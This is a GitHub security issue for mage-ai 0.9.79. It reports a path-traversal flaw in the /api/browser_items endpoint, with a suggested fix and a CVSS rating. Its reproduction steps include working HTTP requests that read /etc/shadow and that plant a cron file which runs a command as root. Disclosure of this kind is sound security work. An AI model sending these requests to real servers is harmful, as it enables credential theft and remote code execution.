#6134·mage-ai

[Security] Arbitrary file read/write via /api/browser_items endpoint

Author: geo-chenCreated Jun 24, 2026Updated Jun 24, 2026
Labelsbug

Mage version

version 0.9.79

Describe the bug

I've reported this via email on 24 May 2026 but have not received any response.

Summary:

The /api/browser_items API endpoint in mage_ai/api/resources/BrowserItemResource.py accepts user-controlled file paths with no validation that the path remains within the project directory. Unlike the FileContentResource and FileResource classes, which call ensure_file_is_in_project() to prevent traversal, BrowserItemResource passes the path directly to the filesystem read/write functions. A Viewer-role user can read any file on the server. An Editor-role user can additionally write to and delete any file, which in the official Docker image (running as root) enables remote code execution via cron job injection.

This affects the default configuration where REQUIRE_USER_PERMISSIONS is False (the coded default on line 99 of mage_ai/settings/server.py).

To reproduce

Steps to reproduce (read as Viewer):

  1. Start mage-ai with REQUIRE_USER_AUTHENTICATION=1 (or default) and REQUIRE_USER_PERMISSIONS unset/False (the default).

  2. Create a Viewer-role user account.

  3. Authenticate as the Viewer and obtain an OAuth token (inner token from the JWT).

  4. Send this request:

    GET /api/browser_items/%2Fetc%2Fshadow HTTP/1.1 Host: target:6789 X-API-KEY: zkWlN0PkIKSN0C11CfUHUj84OT5XOJ6tDZ6bDRO2 Authorization: Bearer <viewer_token>

  5. The response body contains the full contents of /etc/shadow with HTTP 200.

Steps to reproduce (write as Editor, leading to RCE):

  1. Create an Editor-role user account and authenticate.

  2. Send this request:

    POST /api/browser_items HTTP/1.1 Host: target:6789 X-API-KEY: zkWlN0PkIKSN0C11CfUHUj84OT5XOJ6tDZ6bDRO2 Authorization: Bearer <editor_token> Content-Type: application/json

    {"browser_item": {"path": "/etc/cron.d/mage_rce", "content": "* * * * * root id > /tmp/out.txt"}}

  3. After the next cron cycle, /tmp/out.txt contains the output of id executed as root.

Expected behavior

Suggested fix:

Add path boundary validation in BrowserItemResource equivalent to the ensure_file_is_in_project() call used in FileContentResource.member() and FileResource. Specifically, validate that the resolved absolute path of any user-supplied path starts with os.path.abspath(get_repo_path()).

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critical) CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Screenshots

No response

Operating system

No response

Additional context

No response